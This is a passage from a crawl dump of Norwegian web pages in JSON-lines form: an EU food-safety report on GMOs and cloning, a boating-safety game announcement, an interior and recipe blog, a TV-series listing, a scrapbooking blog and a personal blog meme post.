gjeldende.\n\nHelsep\u00e5stander som brukes i dag, men som ikke er vurdert av EFSA, kan fortsatt brukes inntil de er vurdert. Helsep\u00e5stander som er vurdert, men ikke godkjent, blir publisert p\u00e5 en liste som redegj\u00f8r for hvorfor de ikke er godkjent. Etter 6 m\u00e5neder p\u00e5 denne listen m\u00e5 p\u00e5standene fjernes fra markedet.\u00a0\n\n##   \nErn\u00e6ringsprofiler\n\n\u00a0\nArbeidet med ern\u00e6ringsprofiler har ikke hatt synlig framdrift de siste 3 m\u00e5nedene. Det er uvisst n\u00e5r Kommisjonen vil ta opp arbeidet og framlegge forslag.\u00a0\u00a0\n\n##   \nGMO\n\n\u00a0\n\nBehandlingen av Kommisjonens forslag om nasjonale utsettingsbestemmelser for genmodifiserte organismer (GMO) har liten framdrift.\u00a0 Striden st\u00e5r om hvilke kriterier som skal kunne brukes dersom et medlemsland vil forby utsetting av en GMO p\u00e5 eget territorium etterat den er godkjent i EU. I R\u00e5dsm\u00f8tet for milj\u00f8vernministrene i mars la det danske formannskapet fram et kompromissforslag som innebar at forbud bare kan innf\u00f8res dersom det er \" i overensstemmelse med EU-retten, begrunnet, proporsjonalt og ikkediskriminerende \u2013 og ikke er i konflikt med EFSAs vurdering av milj\u00f8risiko ved den aktuelle GMOen\". Kompromisset strandet\u00a0 idet 9 medlemsstater forkastet det.\u00a0 Helsekommiss\u00e6ren har uttalt at medlemslandene ikke gj\u00f8r annet enn \u00e5 repetere gamle argumenter, noe som har gjort at saken har st\u00e5tt i stampe over flere \u00e5r.\u00a0 Representanter i Europaparlamentet, som har kommet fram til et skj\u00f8rt kompromiss, har ytret seg sv\u00e6rt kritisk til R\u00e5dets behandling av saken. Det sies at medlemsstatene ikke tar ansvar og opptrer ambivalent ved at de verken \u00f8nsker felleseuropeiske utsettingsregler eller vil akseptere vilk\u00e5rene for \u00e5 godkjenne eller nekte utsetting p\u00e5 eget territorium.\n\nGjeldende GMO-lovgivning i EU er utsatt for kritikk fra mange hold.\u00a0 H\u00f8sten 2011 kom det to rapporter bestilt av Kommisjonen fra European Policy Evaluation Consortium (EPEC) som konkluderer med at dagens lovgivning ikke fungerer tilfredsstillende. I utgangspunktet baserer godkjenningsordningene seg p\u00e5 risikovurderinger som skal v\u00e6re vitenskapelig dokumentert.\u00a0 Medlemslandene vegrer seg i stor grad mot \u00e5 ta i bruk GMO, gjerne basert p\u00e5 andre, mer sosio-\u00f8konomiske og etiske faktorer og bred folkelig motstand mot GMO generelt.\n\nKloning\n\n\u00a0\nSom ledd i Kommisjonens arbeid med den bebudede betenkningen om kloning, har Kommisjonen\u00a0 bedt EFSA gj\u00f8re en ny utredning av implikasjonene ved \u00e5 bruke klonede dyr i matproduksjon.\u00a0 For \u00e5 innhente ny informasjon ba EFSA i en utlysning datert 17.februar\u00a0 2012 om nyere data fra internasjonale vitenskapelige milj\u00f8er og 3.land .\u00a0 EFSA ber om data p\u00e5 helse og dyrevelferd for klonede dyr, spesielt hvor lenge klonede dyr er produktive og lever i forhold til forventet levetid.\u00a0\n\nKommisjonen har ogs\u00e5 \u00e5pnet en ny, offentlig h\u00f8ring om sp\u00f8rsm\u00e5l rundt mat fra klonede dyr og deres avkom.\u00a0\u00a0 H\u00f8ringen ber om respons p\u00e5 f\u00f8lgende 5 scenarier:\u00a0  \n1.\u00a0beholde dagens regelverk\u00a0 (Regulation (EC) 258/97 om ny mat)  \n2.\u00a0tillate bruk av kloningsteknikker i EU med sikte p\u00e5 matproduksjon  \n3.\u00a0midlertidig forby mat fra klonede dyr i EU og iverksette et sporingssystem for importerte \u00abclone reproductive materials\u00bb  \n4.\u00a0midlertidig forby mat fra klonede dyr i EU og innf\u00f8re obligatorisk merking av mat fra dyr som er etterkommere av klonede dyr  \n5.\u00a0midlertidig forby mat fra klonede dyr og deres etterkommere i EU\n\nH\u00f8ringen er \u00e5pen til 3.september.\u00a0 Kommisjonen tar sikte p\u00e5 \u00e5 fremme et lovforslag i 2013 om kloning i matvarer.\n\n\u00a0\nBrussel, 07.08.2012\n\nHeidi Langaas  \nhelse- og mattrygghetsr\u00e5d\n\n", "language": "no", "__index_level_0__": "e4aad9e4-8319-484d-973a-e20602dd0634"}
{"url": "http://www.norboat.no/nyheter/?article_id=868", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:38:25Z", "text": "\n\n# NYTT SJ\u00d8VETTSPILL GJ\u00d8R DET G\u00d8Y \u00c5 L\u00c6RE OM SIKKERHET I FRITIDSB\u00c5T \u00a0\n\n ** mandag 31. juli 2017 \u2013 12.48   ** Hege Ousland \n\n**Sj\u00f8fartsdirektoratet lanserer n\u00e5 et nytt sj\u00f8vettspill. Morten M\u00e5ke er hovedperson i spillet, og han m\u00e5 b\u00e5de man\u00f8vrere riktig og velge det riktige utstyret for \u00e5 sanke poeng.**\n\nBlant Sj\u00f8fartsdirektoratets oppgaver er \u00e5 drive forebyggende\u00a0sikkerhetsarbeid\u00a0overfor fritidsb\u00e5tbrukere. Da er det viktig \u00e5 n\u00e5 fram til b\u00e5de barn, unge og voksne p\u00e5 en engasjerende og morsom m\u00e5te. I det nye spillet, som er tilgjengelig for iPhone og iPad, skal man hjelpe Morten M\u00e5ke med \u00e5 styre b\u00e5ten sin riktig mellom holmer og b\u00e5ttrafikk, og l\u00e6rer samtidig grunnleggende sj\u00f8vettregler.\n\n\\- Vi ser at spill p\u00e5 nettbrett og mobil er en god m\u00e5te \u00e5 n\u00e5 fram til brukere av fritidsb\u00e5t p\u00e5 et medium de kjenner godt. L\u00e6ringseffekten er h\u00f8y\u00a0n\u00e5r de spiller et\u00a0spill som premierer riktig oppf\u00f8rsel p\u00e5 sj\u00f8en, sier kommunikasjonsr\u00e5dgiver og prosjektleder Helga Sulen Sund i Sj\u00f8fartsdirektoratet. Sj\u00f8fartsdirektoratet benytter spillet p\u00e5 b\u00e5tmesser og i andre sammenhenger, og gj\u00f8r det gratis tilgjengelig p\u00e5 AppStore.\n\n##### Norboat\n\nNorboat er B\u00e5tbransjeforbundet i Norge. Vi representerer den norske fritidsb\u00e5tbransjen. Norboats m\u00e5l er \u00e5 skape best mulige ramme-betingelser for b\u00e5tbransje og b\u00e5tliv. Norboat er ogs\u00e5 en h\u00f8ringsinstans og samarbeidspartner for offentlige etater og andre b\u00e5tlivs-organisasjoner.\n\n", "language": "no", "__index_level_0__": "d80e903f-d512-41e6-8875-7589bd348bb6"}
{"url": "http://franciskasvakreverden.blogspot.co.il/2014/09/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:36:39Z", "text": "## tirsdag 30. september 2014\n\n### Fin h\u00f8stide\\!\n\n  \n*Kilde:\u00a0HGTV*  \n  \nLag fin pynt til h\u00f8stbordet ved \u00e5 henge opp h\u00f8stblader som du limer til fiskesn\u00f8re. Ha gjerne de st\u00f8rste bladene \u00f8verst og de minste nederst, da f\u00e5r du en fin effekt. Bruker du kunstige blader unng\u00e5r du at de kr\u00f8ller seg sammen. Ellers kan bladene t\u00f8rkes mellom tunge b\u00f8ker noen dager f\u00f8rst.  \n  \nH\u00f8stblader kan blant annet kj\u00f8pes hos Nille.  \n\n  \n\n## mandag 29. september 2014\n\n### H\u00f8stferie og tur i skogen\\!\n\nH\u00f8stferien er en perfekt tid til \u00e5 ta barna med ut i skogen og g\u00e5 p\u00e5 litt oppdagelse. Litt godt \u00e5 spise og drikke i sekken, da er det bare \u00e5 sette i vei.  \n  \nDen gang var barna mine fire \u00e5r, n\u00e5 er de ti (de er tvillinger), men fortsatt er det moro \u00e5 v\u00e6re i skogen. Man finner alltid noe man kan lage noe fint av og det er hyggelig \u00e5 bare v\u00e6re sammen.  \n  \n  \n  \n  \n  \n## fredag 26. september 2014\n\n### Festfin og himmelsk god eplepai\n\n\n\n*Foto: Franciska Munck-Johansen*\n\n  \nFarmors himmelske eplepai\n\n  \n\n  \n*Da jeg var liten pleide farmor \u00e5 lage denne eplepaien, n\u00e5r jeg var p\u00e5 ferie hos dem. Jeg husker enda den gode duften n\u00e5r paien sto i ovnen, og den himmelske smaken av de syrlige eplene mot den s\u00f8te marsipan-smuldredeigen sammen med myk vaniljeis. Rett og slett himmelsk\\!*\n\n  \n\n*Enkel \u00e5 lage er den ogs\u00e5, og med pynt av epleskall formet som roser, blir det en fin kake \u00e5 servere for gjester.*\n\n*\u00a0*\u00a0\n\n7 syrlige epler, gjerne med r\u00f8tt skall\n\n75 g sukker\n\n75 g mel\n\n75 g sm\u00f8r\n\n300 g marsipan\n\nLitt melis til pynt\n\n  \nSkrell eplene slik at du f\u00e5r lange epleskall. Skj\u00e6r eplene i sm\u00e5 biter. Ha skallet i en bolle med kaldt vann, og eplebitene i en annen, da unng\u00e5r du at de blir brune.\n\n  \nBland sukker, mel og sm\u00f8r til en smuldredeig. Rasp marsipanen grovt og bland med eplebitene. Legg epleblandingen i en smurt ildfast paiform og fordel smuldredeigen over. Lag roser av epleskall.\n\n  \nStekes ved 200 grader i ca. 30 minutter til paien f\u00e5r en gyllen overflate.\n\n  \nServeres lun med vaniljeis eller pisket krem.\n\n  \nSikt gjerne litt melis over paien som pynt rett f\u00f8r servering.\n\n  \n  \n\n## torsdag 25. september 2014\n\n### Tre glitrende fine h\u00f8stid\u00e9er\n\n\n\n*Kilde: Boxwood Clippings*\n\n  \n\nGlitrende h\u00f8stblader blir fin pynt og er ogs\u00e5 et hyggelig prosjekt \u00e5 lage med barna i h\u00f8stferien.\n\n  \n**Du trenger:**\n\nKunstige blader. Du kan ogs\u00e5 klippe ut blader i papir.\n\nGlitter i ulike h\u00f8stfarger\n\nB\u00e5nd\n\n  \n**Slik gj\u00f8r du:**\n\nP\u00e5f\u00f8r lim med en pensel og ha p\u00e5 glitter.\n\nLa det t\u00f8rke litt og rist forsiktig av overskytende glitter\n\nLag hull til b\u00e5ndet, fest det og heng opp.\n\n  \n  \n*Kilde: HGTV*  \n  \nPynt med gresskar i metalliske farger. \u00a0Du f\u00e5r effekten ved \u00e5 bruke kobber-, s\u00f8lv-, eller bladgull. Kan kj\u00f8pes blant annet hos Panduro Hobby og det er sv\u00e6rt enkelt.  \n  \n**Dette trenger du:**  \nKobber-, s\u00f8lv- og eller bladgull.  \nEgnet lim  \nPensel  \n  \n**Slik gj\u00f8r du:**  \nHa p\u00e5 lim med en pensel  \nP\u00e5f\u00f8r bladgull og pensle over med en t\u00f8rr pensel  \n  \nEnkelt og veldig dekorativt\\!  \n  \n  \n*Kilde:\u00a0The Midnight Orange*  \n  \nDet er koselig \u00e5 g\u00e5 en tur i skogen og finne ting som kan brukes til pynt. Jeg liker \u00e5 bruke alle former for naturmaterialer som mose, greiner, blader etc. De er fine slik de er, men noen ganger kan det v\u00e6re fint \u00e5 tilsette en dose glam. Som disse s\u00f8te eiken\u00f8ttene, som ikke bare er fine \u00e5 se p\u00e5, men ogs\u00e5 veldig enkle \u00e5 lage.  \n  \n**Du trenger:**  \nEiken\u00f8tter  \nLim  \nPensel  \nGlitter i ulike h\u00f8stfarger  \n  \n**Slik gj\u00f8r du:**  \nHa p\u00e5 lim p\u00e5 den delen av n\u00f8ttene du \u00f8nsker \u00e5 dekke med glitter. Dypp n\u00f8ttene i glitter og la dem t\u00f8rke litt f\u00f8r du forsiktig rister bort overskytende glitter.  \n\n  \n\n## onsdag 24. september 2014\n\n### Hvilken fargeskala liker du best?\n\nJeg har alltid likt naturfarger og selv om jeg en sjelden gang pr\u00f8ver meg p\u00e5 et fargerikt interi\u00f8r, s\u00e5 ender jeg alltid opp med en rolig fargeskala.  \n  \nMen det betyr ikke at jeg ikke setter stor pris p\u00e5 \u00e5 se farger i interi\u00f8ret, og jeg synes det kan v\u00e6re utrolig fint hos andre.  \n  \nDet er noe av det jeg liker best med interi\u00f8r, at man kan skape sine egne helt personlige omgivelser. Man kan skape et hjem som passer akkurat de som bor der i akkurat de fargene man selv liker best.  \n  \nJeg har alltid v\u00e6rt opptatt av at man b\u00f8r velge b\u00e5de farger og interi\u00f8r ut i fra hva men selv liker, ikke p\u00e5 grunn av trender.  \n  \nHva liker du best?  \n  \nSterke farger eller en roligere fargeskala?  \n  \nHar du en favorittfarge?  \n  \nI dag har jeg laget litt moodboards til dere fulle av farger for enhver smak. H\u00e5per dere finner noe dere liker.  \n  \nBildene er fra Mesteren av farger Tricia Guild med Designers Guild.  \n  \nHarmonisk og mykt - n\u00f8ytrale farger  \n  \n  \nPretty in Pink  \n  \n  \n## tirsdag 23. september 2014\n\n### Kjempetilbud p\u00e5 Sanselige Rom\\!\n\n  \n  \n\nAkkurat n\u00e5 har Vakre Hjem & Interi\u00f8r et kjempetilbud til nye abonnenter\\!\n\n\n\nF\u00e5 fire utgaver og Sanselige Rom for kun 298,- Du sparer 417 kr\\!\n\n\nKlikk\u00a0HER\u00a0for \u00e5 komme til tilbudet\\!\n\n\n*Sanselige Rom*\u00a0er en hyllest til skandinaviske hjem. Den er full av vakre bilder og herlige id\u00e9er fra de mest kreative skandinaviske interi\u00f8rbloggerne. Bli med inn i en spennende verden. G\u00e5 p\u00e5 oppdagelsesferd i eventyrlige stuer, rustikke kj\u00f8kken og sanselige soverom, og la deg inspirere til \u00e5 skape et personlig og vakkert hjem.\n\n\n*Sanselige Rom*\u00a0er oppf\u00f8lgeren til b\u00f8kene Sanselig Sommer og Sanselig Jul.\n\n\nBoken er p\u00e5 200 sider. Med stivbind og flott kobbertrykk p\u00e5 forsiden.\n\n\nVeiledende pris kr. 399,-\n\n\nHer ser du et lite utdrag fra boken:\n\n## mandag 22. september 2014\n\n### Ny vinner trukket\\! Flere flotte premier igjen\\!\n\nDa har jeg trukket den heldige vinneren av weekendopphold til Holmsbu Spa for to personer - verdi kr. 4.780,-  \n  \nVinneren ble:  \n  \n*Charlotte* med bloggen *Islandshundene Askur, Hermina og Fifa*  \n  \nHun har f\u00e5tt beskjed p\u00e5 mail.  \n  \nVant du ikke denne gangen har du fortsatt muligheten for \u00e5 vinne disse flotte premiene\\!  \n  \n**Vinn flott veggdekorasjon i kobber fra Fabelaktig - verdi kr. 999,-\\!**  \n\nVinneren\u00a0trekkes 21. oktober\\!  \n  \n\n\n\n## fredag 19. september 2014\n\n### Pavlova - en skikkelig festkake\\!\n\n\n\n*Kilde:\u00a0Freia Hjemmekonditori*\n\n  \n\nPavlova med melkesjokolademousse og friske b\u00e6r\n\n  \n\nPavlova er en skikkelig festkake som kan lages i mange varianter\\! Her er en oppskrift p\u00e5 Pavlova med sjokolademousse, friske b\u00e6r og luftig marengs. Mmm kjempegodt\\!\n\n  \n\n8 personer\n\n  \n\nTo bunner\n\n8 stk eggehviter\n\n1 ts salt\n\n500 gr sukker\n\n4 ts maizena\n\n2 ts hvitvinseddik\n\n  \n\nFyll\n\n2 pose Freia Melkesjokolademousse\n\n400 gr Freia Melkesjokolade\n\nfriske b\u00e6r og frukt etter eget \u00f8nske\n\n\nBunn\n\n\nPisk eggehviter og salt stivt p\u00e5 middels fart og ha i sukkeret litt etter litt. Ha i eddik og maizenna.\n  \n\nTegn to sirkler p\u00e5 ca. 23 cm p\u00e5 bakepapir og fordel marengsen inni sirkelene. Stek bunnene p\u00e5 160 \u00b0C i 1 time.\n  \n\nSkru av ovnen og la bunnene st\u00e5 til de er avkj\u00f8lt, da blir de spr\u00f8 p\u00e5 utsiden og myke inni.\n  \n\nBunnene vil holde seg slik s\u00e5 lenge de ligger i en lufttett boks.\n\nFyll\n\n  \n\nLegg halvparten av moussen p\u00e5 en bunn, legg den andre bunnen opp\u00e5 og dekk denne med resten av moussen. Dryss over hakket Freia Melkesjokolade. Pynt med frukt og b\u00e6r.\n\n\nSend dette via e-postBlogg dette\\!Del p\u00e5 TwitterDel p\u00e5 FacebookDel p\u00e5 Pinterest\n\n## torsdag 18. september 2014\n\n### Fine vaser av hermetikkbokser\n\n  \n  \n*Ide og foto: Sweet Paul Magazine*  \n  \nDisse fine vasene lager du enkelt selv\\!  \n  \nBruk hermetikkbokser i ulike st\u00f8rrelser og mal dem, gjerne med malingsrester. Du kan ogs\u00e5 bruke spraymaling.  \n  \nGod ide hvis du skal ha selskap og trenger ekstra vaser.  \n  \nDe er ogs\u00e5 fine \u00e5 bruke til penner og lignende.  \n\nSend dette via e-postBlogg dette\\!Del p\u00e5 TwitterDel p\u00e5 FacebookDel p\u00e5 Pinterest\n\n## onsdag 17. september 2014\n\nKonkurransen arrangeres i samarbeid med Vakre Hjem og Interi\u00f8r. Klikk HER\u00a0for \u00e5 doble vinnersjansene dine\\!\n\nSend dette via e-postBlogg dette\\!Del p\u00e5 TwitterDel p\u00e5 FacebookDel p\u00e5 Pinterest\n\n## tirsdag 16. september 2014\n\n### Helt fabelaktig\\!\n\n  \n  \nJeg liker \u00e5 gj\u00f8re litt ekstra for \u00e5 reklamere for de sm\u00e5 interi\u00f8rbutikkene som finnes rundt omkring i landet v\u00e5rt. En butikk jeg gjerne reklamerer litt ekstra for er butikken Fabelaktig i Kristiansand.  \n  \nFabelaktig tilbyr en herlig mix av interi\u00f8r, kl\u00e6r, tilbeh\u00f8r og gourmetprodukter. De har h\u00f8y kvalitet og har en egen evne til \u00e5 velge de gode spennende produktene. I tillegg gir de en helt fabelaktig kundeservice\\!  \n  \nFabelaktig holder til i Skippergata i Kristiansand sentrum. De har ogs\u00e5 en nettbutikk med godt utvalg. Klikk HER for \u00e5 komme til den.  \n  \nF\u00f8lg med\\! I morgen har jeg en helt fabelaktig giveaway til dere\\!  \n\nSend dette via e-postBlogg dette\\!Del p\u00e5 TwitterDel p\u00e5 FacebookDel p\u00e5 Pinterest\n\n## mandag 15. september 2014\n\n### Vinn Weekendopphold til Holmsbu spa\\!\n\nJeg f\u00f8ler meg utrolig heldig som kan gi bort s\u00e5 mange fine premier til dere kj\u00e6re lesere\\! :-)  \n  \nHva er vel bedre enn f\u00f8lelsen av \u00e5 gj\u00f8re andre glade?  \n  \nI dag har jeg trukket vinneren av gavekort p\u00e5 kr. 1.000,- til Lykkelig p\u00e5 Haver\\!  \n  \nVinneren ble:  \n  \nGro K\u00e5smoli\\!  \n  \nHun har f\u00e5tt beskjed p\u00e5 mail.  \n  \nVant du ikke denne gangen har du fortsatt muligheten for \u00e5 vinne denne flotte premien\\!  \n\n  \n\n### Fredagskos - Lun eplekake med pisket krem\n\n**  \n*Kilde: Tine.no*  \n  \n H\u00f8sten er epletid\\! Og ikke minst eplekaketid\\!  \n  \n Denne deilige eplekaken bakes av gj\u00e6rdeig og smaker kjempegodt lun med pisket krem til.\u00a0  \n  \n Lun eplekake med pisket krem  \n  \n Ca 20 biter.  \n  \n 2 dl melk  \n25 g fersk gj\u00e6r  \n1 egg  \n1/2 dl sukker  \n1/4 ts salt  \n75 g romtemperert sm\u00f8r  \n7 dl hvetemel  \n  \n Fyll:  \n3 epler (gjerne syrlige)  \n50 g sm\u00f8r  \n1/2 dl sukker  \n4 ss mandelflak  \n  \n Til servering:  \n  \n  \n\n\n  \n\n\n  \n\n\n  \n\n\n  \n\nFinn frem en langpanne p\u00e5 ca 25 x 35 cm, og kle den med et bakepapir. Hell deigen i langpannen, og trykk den ut med melede hender slik at den dekker hele formen.\u00a0\n  \n  \n\nSend dette via e-postBlogg dette\\!Del p\u00e5 TwitterDel p\u00e5 FacebookDel p\u00e5 Pinterest\n\n## torsdag 11. september 2014\n\n### H\u00f8stfavoritter\nLene Bjerre har akkurat f\u00e5tt ny h\u00f8stkatalog og her var det masse fint. Se bare disse lekre tingene\\!  \nSe resten av katalogen HER\\!  \n  \n\u00a0 \u00a0  \nLykkelig p\u00e5 Haver\u00a0har et stort utvalg av kvalitetsting som er n\u00f8ye utvalgt. Her fant jeg:Trendy kobber pendel taklampe 30 cm i diameter og fine saltlykter fra Sirocco. Se mer i nettbutikken deres HER\\!  \n  \n\n\n\n  \n  \nLandRomAntikk har de s\u00f8teste retrokjolene. Og mye annet fint av interi\u00f8r og tilbeh\u00f8r. Se mer HER\\!  \n  \n  \n\n## F\u00f8lg Franciskas Vakre Verden p\u00e5 Instagram. Klikk her\\!\n\n    \n\nTusen takk for alle de\n\nkoselige kommentarene deres\\!\n\nJeg leser alle og setter stor pris p\u00e5 at du\n\n\n\nJeg synes det er bare hyggelig hvis\n", "language": "no", "__index_level_0__": "c845c5a3-c9c3-4033-94d2-90742a3c57f8"}
{"url": "http://www.flixfilmer.no/the-code/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:39:44Z", "text": "# The Code\n\n**Date:** 01/11/2017 | 1 kommentar\n\n  \n\n\n**Utgitt**: 2014\u2013  \n**Sjangere**: Drama, Thriller  \n**Regiss\u00f8r**: N/A  \n**Medvirkende**: Dan Spielman, Ashley Zukerman, Adele Perovic, Michael Denkha  \n**Spr\u00e5k**: English  \n**IMDB-karakter**: 7.6  \n  \n**Handling** : En journalist og hacker-broren hans unders\u00f8ker en bilulykke og snubler over en konspirasjon som har forgreninger helt opp til aller h\u00f8yeste niv\u00e5 i regjeringen.\n\nThe Code hadde premiere p\u00e5 Netflix Norge den 1. November, 2017. Etter denne datoen g\u00e5r det ofte 6-12 m\u00e5neder f\u00f8r The Code kan bli fjernet fra streamingtjenesten eventuelt at det kommer nye avsnitt \u2013 dersom tittelen er en serie. Dette er kun veiledende basert p\u00e5 erfaringer.  \n  \n### 1 kommentar til The Code\n\n1.  Haba haba\u00a0- kl. 14:11, 21-03-2016:\n    \n    Dette er feil trailer.\n\n", "language": "no", "__index_level_0__": "0338a145-c2e4-4c70-b922-2c71b820d357"}
{"url": "http://sisselsdallogdill.blogspot.com/2012/01/sukkerstt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:41:32Z", "text": " \n\n   Velkommen til bloggen min\\! :-)  \n  \n S\u00e5 hyggelig at akkurat du titter innom\\! :-)  \n  \nBle introdusert for en fantastisk \"scrappeverden\" h\u00f8sten 2010 og siden har det blitt mye papir, lim og glitter.   \n  \nOm du \"scroller\" deg nedover og titter litt rundt, vil du for det meste finne mine papirkreasjoner.  \nLager mest kort, men pr\u00f8ver meg ogs\u00e5 p\u00e5 en LO i ny og ne. Stilen min tror jeg kan kalles \"hummer\\&kanari\".   \n  \nStorkoser meg med denne hobbyen som har uante muligheter for utfoldelse p\u00e5 det kreative plan.  \nLiker ogs\u00e5 \u00e5 strikke og hekle... s\u00e5 kanskje ikke alt som kommer her er av papir\\! :-)  \n  \nBlir veldig glad om du legger igjen en liten kommentar.  \n Ha en riktig fin dag\\!  \n\n    \n\n## s\u00f8ndag 22. januar 2012\n\n### Sukkers\u00f8tt??\n\nDa kommer det noen nye innlegg.\n\nDet g\u00e5r litt i rykk og napp med \u00e5 legge inn blider.\n\n  \nTusen takk til alle som legger igjen fine kommentarer.\n\nSetter veldig pris p\u00e5 det\\!\\! :-)\n\n  \n\nHer er et bursdagskort.\n\nLaget etter skisse og fargeutfordring.\n\n  \n\n\n\n\n  \nI restekassa fant jeg noen biter av det nydelig Pionarket fra fjor\u00e5ret.  \nBlomstene har jeg pirket av en gammel krans, stemplene fra Kreativ Hobby, Storyteller og Norsk Stempelblad.  \nDies Spellbinders og pirelitt glitterlim.  \n  \n\nUtfordringer:\n\nPapirdokkene\n\nNordsalten\n Lagt inn av  \nSissel  kl. \n\n15:21           \n\n#### 15 kommentarer:\n\n1.  \n    \n    Trine Pedersen22. januar 2012 kl. 15:50\n    \n    Nyydelig kort\\!\\! Virkelig vakre de Pionarkene. S\u00e5 mange flotte kort du har lagd i det siste. I dag har jeg lagd mitt f\u00f8rste kort i 2012. Har bare f\u00e5tt lagd en tag.  \n      \n    Ha en fin s\u00f8ndag\\!  \n      \n    Klem, Trine :)\n    \n2.  \n    \n    Audhild22. januar 2012 kl. 16:18\n    \n    Dette var s\u00e5\u00e5\u00e5 fint:-) Nydelige blomster, lekker farge\\!\n    \n3.  \n    \n    nedergaard22. januar 2012 kl. 16:21\n    \n    Dette kort er s\u00e5 fint... dejlige farver og l\u00e6kkert papir.  \n    Ha en fin s\u00f8ndag\n    \n4.  \n    \n    Cathrines-creative22. januar 2012 kl. 20:15\n    \n    S\u00e5 masse flott du har laget, og dette kortet var lekkert.  \n    Treffes i Kr.sund ja om du og skal, jeg skal v\u00e6re med Gunn og gjengen.\n    \n5.  \n    \n    Sissel23. januar 2012 kl. 07:32\n    \n    Nydelig, kjempefin ramme og morsom m\u00e5te \u00e5 feste bildet p\u00e5.  \n    Klem Sissel\n    \n6.  \n    \n    Linda23. januar 2012 kl. 14:45\n    \n    Nydelig kort, lekkert motiv og flott pyntet\\! Likte godt rammen rundt motivet, delvis over og delvis bak :)  \n      \n    Takk for at du scrapper med Papirdokkene\n    \n7.  \n    \n    WencheP23. januar 2012 kl. 16:12\n    \n    \u00c5 - dette ble kjempefint. S\u00e5 flott motiv og utrolig lekre blomster. Tusen takk for at du deltar hos NordSalten Hobbyklubb.  \n      \n    \\-Wenche\n    \n8.  \n    \n    Suzie McFloozy23. januar 2012 kl. 21:57\n    \n    Such a beautiful card - Love the DP's and the lovely flowers with the pearl centers x  \n    Thanks for playing along with us at Colour create & good luck  \n    ((hugs)) Suzie xoxo\n    \n    SvarSlett\n\n9.  \n    \n    sandrahammer23. januar 2012 kl. 23:04\n    \n    Nydelig lite kort du har laget :D\n    \n    SvarSlett\n\n10. \n    \n    Tuppenshobbyblogg25. januar 2012 kl. 08:56\n    \n    \u00c5 dette kortet var nydelig \\!\\!\\!  \n    S\u00e5 flott med den taggen og de blomstene med den flotte farger l\u00f8ftet hele kortet.Knallflott \\!\\!  \n      \n    Klem Kjersti\n    \n11. \n    \n    Sonny - Papirskreppa26. januar 2012 kl. 11:07\n    \n    Et flott kort. Enkelt og fint. Takk for at du deltar i utfordringen hos NSHK.\n    \n12. \n    \n    Plundis27. januar 2012 kl. 20:46\n    \n    Synes dette var lekkert, jeg\\!\\!  \n      \n    Takk for at du deltar p\u00e5 utfordringen v\u00e5r hos NsHk denne gangen :)  \n      \n    Klem Plundis\n    \n13. \n    \n    My Hyde Away29. januar 2012 kl. 11:24\n    \n    Nydelig kort dette her. Skikkelig s\u00f8tt. Tusen takk for at du deltar hos Kort o Mania. Hilsen Kirsten.\n    \n    SvarSlett\n\n14. \n    \n    Sharon1. februar 2012 kl. 07:27\n    \n    WOW Sissel your card is beautiful. I love the soft colours and papers you've used.  \n      \n    Thanks for joining us at Colour Create for the Pink and Green Challenge\\!  \n      \n    Sharon x\n    \n15. \n    \n    Kort O Mania7. februar 2012 kl. 20:14\n    \n    knall flott kort\\! nydelig og s\u00f8tt :D  \n    takk for at du deltok p\u00e5 v\u00e5r utfordring 55 hos kort o mania\\!  \n    klem fra linda s l\n    \n\n\n  - Sissel  \n    Godt voksen, mor til to, sykepleier og l\u00e6rer. Ble h\u00f8sten 2010 bitt av \"papirbasillen\"... som viser seg \u00e5 v\u00e6re en kronisk, uhelbredelig tilstand\\!\n\n", "language": "no", "__index_level_0__": "4d10c87d-2b7c-4c09-8a5e-4d9e8c0a8c24"}
{"url": "http://roysobstad.blogspot.com/2009/02/stian-har-tatt-ansvar-for-gi-meg-noe.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:28:05Z", "text": "## l\u00f8rdag 14. februar 2009\n\nStian har tatt ansvar for \u00e5 gi meg noe \u00e5 blogge om, og har tagget meg i et meme. Reglene er som f\u00f8lger:  \n\n1.  G\u00e5 inn i fotomappen din p\u00e5 Mac-en (har du ikke Mac, f\u00e5r du improvisere)\n2.  \u00c5pne mappe nr. 6\n3.  Finn foto nr. 6\n4.  Post det, og skriv noe om bildet\n5.  Send dette til 6 andre bloggere, link dem tilbake hit, og vis dem at du har tagget dem\\!\n\n... men de blir jeg bare n\u00f8dt til \u00e5 ignorere. Bildene mine ligger lagret i iPhoto-biblioteket, og i det er det bare fire mapper med innhold i. Her er derfor det *nyeste* bildet jeg har:  \n\n\n\nDette intime portrettet av mine gode venn Rune, er etter alt \u00e5 d\u00f8mme tatt av ham selv. Jeg tipper det stammer fra den fredagskvelden for noen uker siden, da han tok seg fri fra familiepliktene og innkalte til \u00f8ldrikking hos meg. Det er et bilde jeg liker godt. Selv om det er nesten ubehagelig n\u00e6rg\u00e5ende, er det liksom s\u00e5 umiskjennelig v\u00e5r alles Rune.  \n  \nFor\u00f8vrig vedder jeg brillene mine p\u00e5 at han kommer til \u00e5 legge igjen stygge ord i kommentarfeltet mitt n\u00e5.  \n  \nUtfordringen g\u00e5r herved videre til Ronny, Helene, Ole Roger, Lena - og egentlig alle som m\u00e5tte ha lyst.\n\n              \n\n#### 6 kommentarer:\n\n1.  \n    \n    Ronny Haugelandfebruar 16, 2009\n    \n    Jeg kj\u00f8rer ogs\u00e5 s\u00e5nn iPhotokj\u00f8r. Hva er poenget med dette?\n    \n2.  \n    \n    Roy S\u00f8bstadfebruar 16, 2009\n    \n    Poeng? Jeg tagget deg fordi jeg er s\u00e5 lei av at det st\u00e5r \"god jul\" \u00f8verst p\u00e5 siden din.\n    \n3.  \n    \n    Rune Helanderfebruar 17, 2009\n    \n    Helvete Roy\\! Jeg ser ikke slik ut\\!\n    \n4.  \n    \n    Ronny Haugelandfebruar 19, 2009\n    \n    Det er ikke lenge siden jul.\n    \n5.  \n    \n    Helenefebruar 27, 2009\n    \n    